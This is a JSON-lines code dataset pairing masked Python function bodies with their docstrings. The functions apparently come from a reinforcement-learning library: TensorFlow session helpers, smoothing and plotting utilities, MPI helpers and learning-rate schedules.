{"signature": "def huber_loss(x, delta=<NUM_LIT:1.0>):", "body": "return tf.where(<EOL>tf.abs(x) < delta,<EOL>tf.square(x) * <NUM_LIT:0.5>,<EOL>delta * (tf.abs(x) - <NUM_LIT:0.5> * delta)<EOL>)<EOL>", "docstring": "Reference: https://en.wikipedia.org/wiki/Huber_loss", "id": "f1363:m2"}
{"signature": "def get_session(config=None):", "body": "sess = tf.get_default_session()<EOL>if sess is None:<EOL><INDENT>sess = make_session(config=config, make_default=True)<EOL><DEDENT>return sess<EOL>", "docstring": "Get default session or create one with a given config", "id": "f1363:m3"}
{"signature": "def make_session(config=None, num_cpu=None, make_default=False, graph=None):", "body": "if num_cpu is None:<EOL><INDENT>num_cpu = int(os.getenv('<STR_LIT>', multiprocessing.cpu_count()))<EOL><DEDENT>if config is None:<EOL><INDENT>config = tf.ConfigProto(<EOL>allow_soft_placement=True,<EOL>inter_op_parallelism_threads=num_cpu,<EOL>intra_op_parallelism_threads=num_cpu)<EOL>config.gpu_options.allow_growth = True<EOL><DEDENT>if make_default:<EOL><INDENT>return tf.InteractiveSession(config=config, graph=graph)<EOL><DEDENT>else:<EOL><INDENT>return tf.Session(config=config, graph=graph)<EOL><DEDENT>", "docstring": "Returns a session that will use <num_cpu> CPU's only", "id": "f1363:m4"}
{"signature": "def single_threaded_session():", "body": "return make_session(num_cpu=<NUM_LIT:1>)<EOL>", "docstring": "Returns a session which will only use a single CPU", "id": "f1363:m5"}
{"signature": "def initialize():", "body": "new_variables = set(tf.global_variables()) - ALREADY_INITIALIZED<EOL>get_session().run(tf.variables_initializer(new_variables))<EOL>ALREADY_INITIALIZED.update(new_variables)<EOL>", "docstring": "Initialize all the uninitialized variables in the global scope.", "id": "f1363:m7"}
{"signature": "def function(inputs, outputs, updates=None, givens=None):", "body": "if isinstance(outputs, list):<EOL><INDENT>return _Function(inputs, outputs, updates, givens=givens)<EOL><DEDENT>elif isinstance(outputs, (dict, collections.OrderedDict)):<EOL><INDENT>f = _Function(inputs, outputs.values(), updates, givens=givens)<EOL>return lambda *args, **kwargs: type(outputs)(zip(outputs.keys(), f(*args, **kwargs)))<EOL><DEDENT>else:<EOL><INDENT>f = _Function(inputs, [outputs], updates, givens=givens)<EOL>return lambda *args, **kwargs: f(*args, **kwargs)[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Just like Theano function. Take a bunch of tensorflow placeholders and expressions\n    computed based on those placeholders and produces f(inputs) -> outputs. Function f takes\n    values to be fed to the input's placeholders and produces the values of the expressions\n    in outputs.\n\n    Input values can be passed in the same order as inputs or can be provided as kwargs based\n    on placeholder name (passed to constructor or accessible via placeholder.op.name).\n\n    Example:\n        x = tf.placeholder(tf.int32, (), name=\"x\")\n        y = tf.placeholder(tf.int32, (), name=\"y\")\n        z = 3 * x + 2 * y\n        lin = function([x, y], z, givens={y: 0})\n\n        with single_threaded_session():\n            initialize()\n\n            assert lin(2) == 6\n            assert lin(x=3) == 9\n            assert lin(2, 2) == 10\n            assert lin(x=2, y=3) == 12\n\n    Parameters\n    ----------\n    inputs: [tf.placeholder, tf.constant, or object with make_feed_dict method]\n        list of input arguments\n    outputs: [tf.Variable] or tf.Variable\n        list of outputs or a single output to be returned from function. Returned\n        value will also have the same shape.\n    updates: [tf.Operation] or tf.Operation\n        list of update functions or single update function that will be run whenever\n        the function is called. The return is ignored.", "id": "f1363:m10"}
{"signature": "def adjust_shape(placeholder, data):", "body": "if not isinstance(data, np.ndarray) and not isinstance(data, list):<EOL><INDENT>return data<EOL><DEDENT>if isinstance(data, list):<EOL><INDENT>data = np.array(data)<EOL><DEDENT>placeholder_shape = [x or -<NUM_LIT:1> for x in placeholder.shape.as_list()]<EOL>assert _check_shape(placeholder_shape, data.shape),'<STR_LIT>'.format(data.shape, placeholder_shape)<EOL>return np.reshape(data, placeholder_shape)<EOL>", "docstring": "adjust shape of the data to the shape of the placeholder if possible.\nIf shape is incompatible, AssertionError is thrown\n\nParameters:\n    placeholder     tensorflow input placeholder\n\n    data            input data to be (potentially) reshaped to be fed into placeholder\n\nReturns:\n    reshaped data", "id": "f1363:m24"}
{"signature": "def _check_shape(placeholder_shape, data_shape):", "body": "return True<EOL>squeezed_placeholder_shape = _squeeze_shape(placeholder_shape)<EOL>squeezed_data_shape = _squeeze_shape(data_shape)<EOL>for i, s_data in enumerate(squeezed_data_shape):<EOL><INDENT>s_placeholder = squeezed_placeholder_shape[i]<EOL>if s_placeholder != -<NUM_LIT:1> and s_data != s_placeholder:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "check if two shapes are compatible (i.e. differ only by dimensions of size 1, or by the batch dimension)", "id": "f1363:m25"}
{"signature": "def launch_tensorboard_in_background(log_dir):", "body": "import subprocess<EOL>subprocess.Popen(['<STR_LIT>', '<STR_LIT>', log_dir])<EOL>", "docstring": "To log the Tensorflow graph when using rl-algs\nalgorithms, you can run the following code\nin your main script:\n    import threading, time\n    def start_tensorboard(session):\n        time.sleep(10) # Wait until graph is setup\n        tb_path = osp.join(logger.get_dir(), 'tb')\n        summary_writer = tf.summary.FileWriter(tb_path, graph=session.graph)\n        summary_op = tf.summary.merge_all()\n        launch_tensorboard_in_background(tb_path)\n    session = tf.get_default_session()\n    t = threading.Thread(target=start_tensorboard, args=([session]))\n    t.start()", "id": "f1363:m27"}
{"signature": "def smooth(y, radius, mode='<STR_LIT>', valid_only=False):", "body": "assert mode in ('<STR_LIT>', '<STR_LIT>')<EOL>if len(y) < <NUM_LIT:2>*radius+<NUM_LIT:1>:<EOL><INDENT>return np.ones_like(y) * y.mean()<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>convkernel = np.ones(<NUM_LIT:2> * radius+<NUM_LIT:1>)<EOL>out = np.convolve(y, convkernel,mode='<STR_LIT>') / np.convolve(np.ones_like(y), convkernel, mode='<STR_LIT>')<EOL>if valid_only:<EOL><INDENT>out[:radius] = out[-radius:] = np.nan<EOL><DEDENT><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>convkernel = np.ones(radius)<EOL>out = np.convolve(y, convkernel,mode='<STR_LIT>') / np.convolve(np.ones_like(y), convkernel, mode='<STR_LIT>')<EOL>out = out[:-radius+<NUM_LIT:1>]<EOL>if valid_only:<EOL><INDENT>out[:radius] = np.nan<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Smooth signal y, where radius is determines the size of the window\n\nmode='twosided':\n    average over the window [max(index - radius, 0), min(index + radius, len(y)-1)]\nmode='causal':\n    average over the window [max(index - radius, 0), index]\n\nvalid_only: put nan in entries where the full-sized window is not available", "id": "f1364:m0"}
{"signature": "def one_sided_ema(xolds, yolds, low=None, high=None, n=<NUM_LIT>, decay_steps=<NUM_LIT:1.>, low_counts_threshold=<NUM_LIT>):", "body": "low = xolds[<NUM_LIT:0>] if low is None else low<EOL>high = xolds[-<NUM_LIT:1>] if high is None else high<EOL>assert xolds[<NUM_LIT:0>] <= low, '<STR_LIT>'.format(low, xolds[<NUM_LIT:0>])<EOL>assert xolds[-<NUM_LIT:1>] >= high, '<STR_LIT>'.format(high, xolds[-<NUM_LIT:1>])<EOL>assert len(xolds) == len(yolds), '<STR_LIT>'.format(len(xolds), len(yolds))<EOL>xolds = xolds.astype('<STR_LIT>')<EOL>yolds = yolds.astype('<STR_LIT>')<EOL>luoi = <NUM_LIT:0> <EOL>sum_y = <NUM_LIT:0.><EOL>count_y = <NUM_LIT:0.><EOL>xnews = np.linspace(low, high, n)<EOL>decay_period = (high - low) / (n - <NUM_LIT:1>) * decay_steps<EOL>interstep_decay = np.exp(- <NUM_LIT:1.> / decay_steps)<EOL>sum_ys = np.zeros_like(xnews)<EOL>count_ys = np.zeros_like(xnews)<EOL>for i in range(n):<EOL><INDENT>xnew = xnews[i]<EOL>sum_y *= interstep_decay<EOL>count_y *= interstep_decay<EOL>while True:<EOL><INDENT>xold = xolds[luoi]<EOL>if xold <= xnew:<EOL><INDENT>decay = np.exp(- (xnew - xold) / decay_period)<EOL>sum_y += decay * yolds[luoi]<EOL>count_y += decay<EOL>luoi += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT>if luoi >= len(xolds):<EOL><INDENT>break<EOL><DEDENT><DEDENT>sum_ys[i] = sum_y<EOL>count_ys[i] = count_y<EOL><DEDENT>ys = sum_ys / count_ys<EOL>ys[count_ys < low_counts_threshold] = np.nan<EOL>return xnews, ys, count_ys<EOL>", "docstring": "perform one-sided (causal) EMA (exponential moving average)\nsmoothing and resampling to an even grid with n points.\nDoes not do extrapolation, so we assume\nxolds[0] <= low && high <= xolds[-1]\n\nArguments:\n\nxolds: array or list  - x values of data. Needs to be sorted in ascending order\nyolds: array of list  - y values of data. Has to have the same length as xolds\n\nlow: float            - min value of the new x grid. By default equals to xolds[0]\nhigh: float           - max value of the new x grid. By default equals to xolds[-1]\n\nn: int                - number of points in new x grid\n\ndecay_steps: float    - EMA decay factor, expressed in new x grid steps.\n\nlow_counts_threshold: float or int\n                      - y values with counts less than this value will be set to NaN\n\nReturns:\n    tuple sum_ys, count_ys where\n        xs        - array with new x grid\n        ys        - array of EMA of y at each point of the new x grid\n        count_ys  - array of EMA of y counts at each point of the new x grid", "id": "f1364:m1"}
{"signature": "def symmetric_ema(xolds, yolds, low=None, high=None, n=<NUM_LIT>, decay_steps=<NUM_LIT:1.>, low_counts_threshold=<NUM_LIT>):", "body": "xs, ys1, count_ys1 = one_sided_ema(xolds, yolds, low, high, n, decay_steps, low_counts_threshold=<NUM_LIT:0>)<EOL>_,  ys2, count_ys2 = one_sided_ema(-xolds[::-<NUM_LIT:1>], yolds[::-<NUM_LIT:1>], -high, -low, n, decay_steps, low_counts_threshold=<NUM_LIT:0>)<EOL>ys2 = ys2[::-<NUM_LIT:1>]<EOL>count_ys2 = count_ys2[::-<NUM_LIT:1>]<EOL>count_ys = count_ys1 + count_ys2<EOL>ys = (ys1 * count_ys1 + ys2 * count_ys2) / count_ys<EOL>ys[count_ys < low_counts_threshold] = np.nan<EOL>return xs, ys, count_ys<EOL>", "docstring": "perform symmetric EMA (exponential moving average)\nsmoothing and resampling to an even grid with n points.\nDoes not do extrapolation, so we assume\nxolds[0] <= low && high <= xolds[-1]\n\nArguments:\n\nxolds: array or list  - x values of data. Needs to be sorted in ascending order\nyolds: array of list  - y values of data. Has to have the same length as xolds\n\nlow: float            - min value of the new x grid. By default equals to xolds[0]\nhigh: float           - max value of the new x grid. By default equals to xolds[-1]\n\nn: int                - number of points in new x grid\n\ndecay_steps: float    - EMA decay factor, expressed in new x grid steps.\n\nlow_counts_threshold: float or int\n                      - y values with counts less than this value will be set to NaN\n\nReturns:\n    tuple sum_ys, count_ys where\n        xs        - array with new x grid\n        ys        - array of EMA of y at each point of the new x grid\n        count_ys  - array of EMA of y counts at each point of the new x grid", "id": "f1364:m2"}
{"signature": "def load_results(root_dir_or_dirs, enable_progress=True, enable_monitor=True, verbose=False):", "body": "import re<EOL>if isinstance(root_dir_or_dirs, str):<EOL><INDENT>rootdirs = [osp.expanduser(root_dir_or_dirs)]<EOL><DEDENT>else:<EOL><INDENT>rootdirs = [osp.expanduser(d) for d in root_dir_or_dirs]<EOL><DEDENT>allresults = []<EOL>for rootdir in rootdirs:<EOL><INDENT>assert osp.exists(rootdir), \"<STR_LIT>\"%rootdir<EOL>for dirname, dirs, files in os.walk(rootdir):<EOL><INDENT>if '<STR_LIT>' in dirname:<EOL><INDENT>files[:] = []<EOL>continue<EOL><DEDENT>monitor_re = re.compile(r'<STR_LIT>')<EOL>if set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']).intersection(files) orany([f for f in files if monitor_re.match(f)]):  <EOL><INDENT>result = {'<STR_LIT>' : dirname}<EOL>if \"<STR_LIT>\" in files:<EOL><INDENT>with open(osp.join(dirname, \"<STR_LIT>\"), \"<STR_LIT:r>\") as fh:<EOL><INDENT>result['<STR_LIT>'] = json.load(fh)<EOL><DEDENT><DEDENT>progjson = osp.join(dirname, \"<STR_LIT>\")<EOL>progcsv = osp.join(dirname, \"<STR_LIT>\")<EOL>if enable_progress:<EOL><INDENT>if osp.exists(progjson):<EOL><INDENT>result['<STR_LIT>'] = pandas.DataFrame(read_json(progjson))<EOL><DEDENT>elif osp.exists(progcsv):<EOL><INDENT>try:<EOL><INDENT>result['<STR_LIT>'] = read_csv(progcsv)<EOL><DEDENT>except pandas.errors.EmptyDataError:<EOL><INDENT>print('<STR_LIT>', dirname, '<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose: print('<STR_LIT>'%dirname)<EOL><DEDENT><DEDENT>if enable_monitor:<EOL><INDENT>try:<EOL><INDENT>result['<STR_LIT>'] = pandas.DataFrame(monitor.load_results(dirname))<EOL><DEDENT>except monitor.LoadMonitorResultsError:<EOL><INDENT>print('<STR_LIT>'%dirname)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print('<STR_LIT>'%(dirname, e))<EOL><DEDENT><DEDENT>if result.get('<STR_LIT>') is not None or result.get('<STR_LIT>') is not None:<EOL><INDENT>allresults.append(Result(**result))<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'%dirname)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if verbose: print('<STR_LIT>'%len(allresults))<EOL>return allresults<EOL>", "docstring": "load summaries of runs from a list of directories (including subdirectories)\nArguments:\n\nenable_progress: bool - if True, will attempt to load data from progress.csv files (data saved by logger). Default: True\n\nenable_monitor: bool - if True, will attempt to load data from monitor.csv files (data saved by Monitor environment wrapper). Default: True\n\nverbose: bool - if True, will print out list of directories from which the data is loaded. Default: False\n\n\nReturns:\nList of Result objects with the following fields:\n     - dirname - path to the directory data was loaded from\n     - metadata - run metadata (such as command-line arguments and anything else in metadata.json file\n     - monitor - if enable_monitor is True, this field contains pandas dataframe with loaded monitor.csv file (or aggregate of all *.monitor.csv files in the directory)\n     - progress - if enable_progress is True, this field contains pandas dataframe with loaded progress.csv file", "id": "f1364:m3"}
{"signature": "def plot_results(<EOL>allresults, *,<EOL>xy_fn=default_xy_fn,<EOL>split_fn=default_split_fn,<EOL>group_fn=default_split_fn,<EOL>average_group=False,<EOL>shaded_std=True,<EOL>shaded_err=True,<EOL>figsize=None,<EOL>legend_outside=False,<EOL>resample=<NUM_LIT:0>,<EOL>smooth_step=<NUM_LIT:1.0><EOL>):", "body": "if split_fn is None: split_fn = lambda _ : '<STR_LIT>'<EOL>if group_fn is None: group_fn = lambda _ : '<STR_LIT>'<EOL>sk2r = defaultdict(list) <EOL>for result in allresults:<EOL><INDENT>splitkey = split_fn(result)<EOL>sk2r[splitkey].append(result)<EOL><DEDENT>assert len(sk2r) > <NUM_LIT:0><EOL>assert isinstance(resample, int), \"<STR_LIT>\"<EOL>nrows = len(sk2r)<EOL>ncols = <NUM_LIT:1><EOL>figsize = figsize or (<NUM_LIT:6>, <NUM_LIT:6> * nrows)<EOL>f, axarr = plt.subplots(nrows, ncols, sharex=False, squeeze=False, figsize=figsize)<EOL>groups = list(set(group_fn(result) for result in allresults))<EOL>default_samples = <NUM_LIT><EOL>if average_group:<EOL><INDENT>resample = resample or default_samples<EOL><DEDENT>for (isplit, sk) in enumerate(sorted(sk2r.keys())):<EOL><INDENT>g2l = {}<EOL>g2c = defaultdict(int)<EOL>sresults = sk2r[sk]<EOL>gresults = defaultdict(list)<EOL>ax = axarr[isplit][<NUM_LIT:0>]<EOL>for result in sresults:<EOL><INDENT>group = group_fn(result)<EOL>g2c[group] += <NUM_LIT:1><EOL>x, y = xy_fn(result)<EOL>if x is None: x = np.arange(len(y))<EOL>x, y = map(np.asarray, (x, y))<EOL>if average_group:<EOL><INDENT>gresults[group].append((x,y))<EOL><DEDENT>else:<EOL><INDENT>if resample:<EOL><INDENT>x, y, counts = symmetric_ema(x, y, x[<NUM_LIT:0>], x[-<NUM_LIT:1>], resample, decay_steps=smooth_step)<EOL><DEDENT>l, = ax.plot(x, y, color=COLORS[groups.index(group) % len(COLORS)])<EOL>g2l[group] = l<EOL><DEDENT><DEDENT>if average_group:<EOL><INDENT>for group in sorted(groups):<EOL><INDENT>xys = gresults[group]<EOL>if not any(xys):<EOL><INDENT>continue<EOL><DEDENT>color = COLORS[groups.index(group) % len(COLORS)]<EOL>origxs = [xy[<NUM_LIT:0>] for xy in xys]<EOL>minxlen = min(map(len, origxs))<EOL>def allequal(qs):<EOL><INDENT>return all((q==qs[<NUM_LIT:0>]).all() for q in qs[<NUM_LIT:1>:])<EOL><DEDENT>if resample:<EOL><INDENT>low  = max(x[<NUM_LIT:0>] for x in origxs)<EOL>high = min(x[-<NUM_LIT:1>] for x in origxs)<EOL>usex = np.linspace(low, high, resample)<EOL>ys = []<EOL>for (x, y) in xys:<EOL><INDENT>ys.append(symmetric_ema(x, y, low, high, resample, decay_steps=smooth_step)[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert allequal([x[:minxlen] for x in origxs]),'<STR_LIT>'<EOL>usex = origxs[<NUM_LIT:0>]<EOL>ys = [xy[<NUM_LIT:1>][:minxlen] for xy in xys]<EOL><DEDENT>ymean = np.mean(ys, axis=<NUM_LIT:0>)<EOL>ystd = np.std(ys, axis=<NUM_LIT:0>)<EOL>ystderr = ystd / np.sqrt(len(ys))<EOL>l, = axarr[isplit][<NUM_LIT:0>].plot(usex, ymean, color=color)<EOL>g2l[group] = l<EOL>if shaded_err:<EOL><INDENT>ax.fill_between(usex, ymean - ystderr, ymean + ystderr, color=color, alpha=<NUM_LIT>)<EOL><DEDENT>if shaded_std:<EOL><INDENT>ax.fill_between(usex, ymean - ystd,    ymean + ystd,    color=color, alpha=<NUM_LIT>)<EOL><DEDENT><DEDENT><DEDENT>plt.tight_layout()<EOL>if any(g2l.keys()):<EOL><INDENT>ax.legend(<EOL>g2l.values(),<EOL>['<STR_LIT>'%(g, g2c[g]) for g in g2l] if average_group else g2l.keys(),<EOL>loc=<NUM_LIT:2> if legend_outside else None,<EOL>bbox_to_anchor=(<NUM_LIT:1>,<NUM_LIT:1>) if legend_outside else None)<EOL><DEDENT>ax.set_title(sk)<EOL><DEDENT>return f, axarr<EOL>", "docstring": "Plot multiple Results objects\n\nxy_fn: function Result -> x,y           - function that converts results objects into tuple of x and y values.\n                                          By default, x is cumsum of episode lengths, and y is episode rewards\n\nsplit_fn: function Result -> hashable   - function that converts results objects into keys to split curves into sub-panels by.\n                                          That is, the results r for which split_fn(r) is different will be put on different sub-panels.\n                                          By default, the portion of r.dirname between last / and -<digits> is returned. The sub-panels are\n                                          stacked vertically in the figure.\n\ngroup_fn: function Result -> hashable   - function that converts results objects into keys to group curves by.\n                                          That is, the results r for which group_fn(r) is the same will be put into the same group.\n                                          Curves in the same group have the same color (if average_group is False), or averaged over\n                                          (if average_group is True). The default value is the same as default value for split_fn\n\naverage_group: bool                     - if True, will average the curves in the same group and plot the mean. Enables resampling\n                                          (if resample = 0, will use 512 steps)\n\nshaded_std: bool                        - if True (default), the shaded region corresponding to standard deviation of the group of curves will be\n                                          shown (only applicable if average_group = True)\n\nshaded_err: bool                        - if True (default), the shaded region corresponding to error in mean estimate of the group of curves\n                                          (that is, standard deviation divided by square root of number of curves) will be\n                                          shown (only applicable if average_group = True)\n\nfigsize: tuple or None                  - size of the resulting figure (including sub-panels). By default, width is 6 and height is 6 times number of\n                                          sub-panels.\n\n\nlegend_outside: bool                    - if True, will place the legend outside of the sub-panels.\n\nresample: int                           - if not zero, size of the uniform grid in x direction to resample onto. Resampling is performed via symmetric\n                                          EMA smoothing (see the docstring for symmetric_ema).\n                                          Default is zero (no resampling). Note that if average_group is True, resampling is necessary; in that case, default\n                                          value is 512.\n\nsmooth_step: float                      - when resampling (i.e. when resample > 0 or average_group is True), use this EMA decay parameter (in units of the new grid step).\n                                          See docstrings for decay_steps in symmetric_ema or one_sided_ema functions.", "id": "f1364:m6"}
{"signature": "def cg(f_Ax, b, cg_iters=<NUM_LIT:10>, callback=None, verbose=False, residual_tol=<NUM_LIT>):", "body": "p = b.copy()<EOL>r = b.copy()<EOL>x = np.zeros_like(b)<EOL>rdotr = r.dot(r)<EOL>fmtstr =  \"<STR_LIT>\"<EOL>titlestr =  \"<STR_LIT>\"<EOL>if verbose: print(titlestr % (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>for i in range(cg_iters):<EOL><INDENT>if callback is not None:<EOL><INDENT>callback(x)<EOL><DEDENT>if verbose: print(fmtstr % (i, rdotr, np.linalg.norm(x)))<EOL>z = f_Ax(p)<EOL>v = rdotr / p.dot(z)<EOL>x += v*p<EOL>r -= v*z<EOL>newrdotr = r.dot(r)<EOL>mu = newrdotr/rdotr<EOL>p = r + mu*p<EOL>rdotr = newrdotr<EOL>if rdotr < residual_tol:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if callback is not None:<EOL><INDENT>callback(x)<EOL><DEDENT>if verbose: print(fmtstr % (i+<NUM_LIT:1>, rdotr, np.linalg.norm(x)))  <EOL>return x<EOL>", "docstring": "Demmel p 312", "id": "f1365:m0"}
{"signature": "def sync_from_root(sess, variables, comm=None):", "body": "if comm is None: comm = MPI.COMM_WORLD<EOL>import tensorflow as tf<EOL>values = comm.bcast(sess.run(variables))<EOL>sess.run([tf.assign(var, val)<EOL>for (var, val) in zip(variables, values)])<EOL>", "docstring": "Send the root node's parameters to every worker.\nArguments:\n  sess: the TensorFlow session.\n  variables: all parameter variables including optimizer's", "id": "f1366:m0"}
{"signature": "def gpu_count():", "body": "if shutil.which('<STR_LIT>') is None:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>output = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>return max(<NUM_LIT:0>, len(output.split(b'<STR_LIT:\\n>')) - <NUM_LIT:2>)<EOL>", "docstring": "Count the GPUs on this machine.", "id": "f1366:m1"}
{"signature": "def setup_mpi_gpus():", "body": "if '<STR_LIT>' not in os.environ:<EOL><INDENT>if sys.platform == '<STR_LIT>': <EOL><INDENT>ids = []                 <EOL><DEDENT>else:<EOL><INDENT>lrank, _lsize = get_local_rank_size(MPI.COMM_WORLD)<EOL>ids = [lrank]<EOL><DEDENT>os.environ[\"<STR_LIT>\"] = \"<STR_LIT:U+002C>\".join(map(str, ids))<EOL><DEDENT>", "docstring": "Set CUDA_VISIBLE_DEVICES to MPI rank if not already set", "id": "f1366:m2"}
{"signature": "def get_local_rank_size(comm):", "body": "this_node = platform.node()<EOL>ranks_nodes = comm.allgather((comm.Get_rank(), this_node))<EOL>node2rankssofar = defaultdict(int)<EOL>local_rank = None<EOL>for (rank, node) in ranks_nodes:<EOL><INDENT>if rank == comm.Get_rank():<EOL><INDENT>local_rank = node2rankssofar[node]<EOL><DEDENT>node2rankssofar[node] += <NUM_LIT:1><EOL><DEDENT>assert local_rank is not None<EOL>return local_rank, node2rankssofar[this_node]<EOL>", "docstring": "Returns the rank of each process on its machine\nThe processes on a given machine will be assigned ranks\n    0, 1, 2, ..., N-1,\nwhere N is the number of processes on this machine.\n\nUseful if you want to assign one gpu per machine", "id": "f1366:m3"}
{"signature": "def share_file(comm, path):", "body": "localrank, _ = get_local_rank_size(comm)<EOL>if comm.Get_rank() == <NUM_LIT:0>:<EOL><INDENT>with open(path, '<STR_LIT:rb>') as fh:<EOL><INDENT>data = fh.read()<EOL><DEDENT>comm.bcast(data)<EOL><DEDENT>else:<EOL><INDENT>data = comm.bcast(None)<EOL>if localrank == <NUM_LIT:0>:<EOL><INDENT>os.makedirs(os.path.dirname(path), exist_ok=True)<EOL>with open(path, '<STR_LIT:wb>') as fh:<EOL><INDENT>fh.write(data)<EOL><DEDENT><DEDENT><DEDENT>comm.Barrier()<EOL>", "docstring": "Copies the file from rank 0 to all other ranks\nPuts it in the same place on all machines", "id": "f1366:m4"}
{"signature": "def dict_gather(comm, d, op='<STR_LIT>', assert_all_have_data=True):", "body": "if comm is None: return d<EOL>alldicts = comm.allgather(d)<EOL>size = comm.size<EOL>k2li = defaultdict(list)<EOL>for d in alldicts:<EOL><INDENT>for (k,v) in d.items():<EOL><INDENT>k2li[k].append(v)<EOL><DEDENT><DEDENT>result = {}<EOL>for (k,li) in k2li.items():<EOL><INDENT>if assert_all_have_data:<EOL><INDENT>assert len(li)==size, \"<STR_LIT>\" % (len(li), size, k)<EOL><DEDENT>if op=='<STR_LIT>':<EOL><INDENT>result[k] = np.mean(li, axis=<NUM_LIT:0>)<EOL><DEDENT>elif op=='<STR_LIT>':<EOL><INDENT>result[k] = np.sum(li, axis=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>assert <NUM_LIT:0>, op<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Perform a reduction operation over dicts", "id": "f1366:m5"}
{"signature": "def mpi_weighted_mean(comm, local_name2valcount):", "body": "all_name2valcount = comm.gather(local_name2valcount)<EOL>if comm.rank == <NUM_LIT:0>:<EOL><INDENT>name2sum = defaultdict(float)<EOL>name2count = defaultdict(float)<EOL>for n2vc in all_name2valcount:<EOL><INDENT>for (name, (val, count)) in n2vc.items():<EOL><INDENT>try:<EOL><INDENT>val = float(val)<EOL><DEDENT>except ValueError:<EOL><INDENT>if comm.rank == <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>'.format(name, val))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>name2sum[name] += val * count<EOL>name2count[name] += count<EOL><DEDENT><DEDENT><DEDENT>return {name : name2sum[name] / name2count[name] for name in name2sum}<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Perform a weighted average over dicts that are each on a different node\nInput: local_name2valcount: dict mapping key -> (value, count)\nReturns: key -> mean", "id": "f1366:m6"}
{"signature": "def __init__(self, env, observations, latent, estimate_q=False, vf_latent=None, sess=None, **tensors):", "body": "self.X = observations<EOL>self.state = tf.constant([])<EOL>self.initial_state = None<EOL>self.__dict__.update(tensors)<EOL>vf_latent = vf_latent if vf_latent is not None else latent<EOL>vf_latent = tf.layers.flatten(vf_latent)<EOL>latent = tf.layers.flatten(latent)<EOL>self.pdtype = make_pdtype(env.action_space)<EOL>self.pd, self.pi = self.pdtype.pdfromlatent(latent, init_scale=<NUM_LIT>)<EOL>self.action = self.pd.sample()<EOL>self.neglogp = self.pd.neglogp(self.action)<EOL>self.sess = sess or tf.get_default_session()<EOL>if estimate_q:<EOL><INDENT>assert isinstance(env.action_space, gym.spaces.Discrete)<EOL>self.q = fc(vf_latent, '<STR_LIT:q>', env.action_space.n)<EOL>self.vf = self.q<EOL><DEDENT>else:<EOL><INDENT>self.vf = fc(vf_latent, '<STR_LIT>', <NUM_LIT:1>)<EOL>self.vf = self.vf[:,<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Parameters:\n----------\nenv             RL environment\n\nobservations    tensorflow placeholder in which the observations will be fed\n\nlatent          latent state from which policy distribution parameters should be inferred\n\nvf_latent       latent state from which value function should be inferred (if None, then latent is used)\n\nsess            tensorflow session to run calculations in (if None, default session is used)\n\n**tensors       tensorflow tensors for additional attributes such as state or mask", "id": "f1367:c0:m0"}
{"signature": "def step(self, observation, **extra_feed):", "body": "a, v, state, neglogp = self._evaluate([self.action, self.vf, self.state, self.neglogp], observation, **extra_feed)<EOL>if state.size == <NUM_LIT:0>:<EOL><INDENT>state = None<EOL><DEDENT>return a, v, state, neglogp<EOL>", "docstring": "Compute next action(s) given the observation(s)\n\nParameters:\n----------\n\nobservation     observation data (either single or a batch)\n\n**extra_feed    additional data such as state or mask (names of the arguments should match the ones in constructor, see __init__)\n\nReturns:\n-------\n(action, value estimate, next state, negative log likelihood of the action under current policy parameters) tuple", "id": "f1367:c0:m2"}
{"signature": "def value(self, ob, *args, **kwargs):", "body": "return self._evaluate(self.vf, ob, *args, **kwargs)<EOL>", "docstring": "Compute value estimate(s) given the observation(s)\n\nParameters:\n----------\n\nobservation     observation data (either single or a batch)\n\n**extra_feed    additional data such as state or mask (names of the arguments should match the ones in constructor, see __init__)\n\nReturns:\n-------\nvalue estimate", "id": "f1367:c0:m3"}
{"signature": "def value(self, t):", "body": "raise NotImplementedError()<EOL>", "docstring": "Value of the schedule at time t", "id": "f1370:c0:m0"}
{"signature": "def __init__(self, value):", "body": "self._v = value<EOL>", "docstring": "Value remains constant over time.\n\n        Parameters\n        ----------\n        value: float\n            Constant value of the schedule", "id": "f1370:c1:m0"}
{"signature": "def value(self, t):", "body": "return self._v<EOL>", "docstring": "See Schedule.value", "id": "f1370:c1:m1"}
{"signature": "def __init__(self, endpoints, interpolation=linear_interpolation, outside_value=None):", "body": "idxes = [e[<NUM_LIT:0>] for e in endpoints]<EOL>assert idxes == sorted(idxes)<EOL>self._interpolation = interpolation<EOL>self._outside_value = outside_value<EOL>self._endpoints = endpoints<EOL>", "docstring": "Piecewise schedule.\n\n        endpoints: [(int, int)]\n            list of pairs `(time, value)` meanining that schedule should output\n            `value` when `t==time`. All the values for time must be sorted in\n            an increasing order. When t is between two times, e.g. `(time_a, value_a)`\n            and `(time_b, value_b)`, such that `time_a <= t < time_b` then value outputs\n            `interpolation(value_a, value_b, alpha)` where alpha is a fraction of\n            time passed between `time_a` and `time_b` for time `t`.\n        interpolation: lambda float, float, float: float\n            a function that takes value to the left and to the right of t according\n            to the `endpoints`. Alpha is the fraction of distance from left endpoint to\n            right endpoint that t has covered. See linear_interpolation for example.\n        outside_value: float\n            if the value is requested outside of all the intervals sepecified in\n            `endpoints` this value is returned. If None then AssertionError is\n            raised when outside value is requested.", "id": "f1370:c2:m0"}
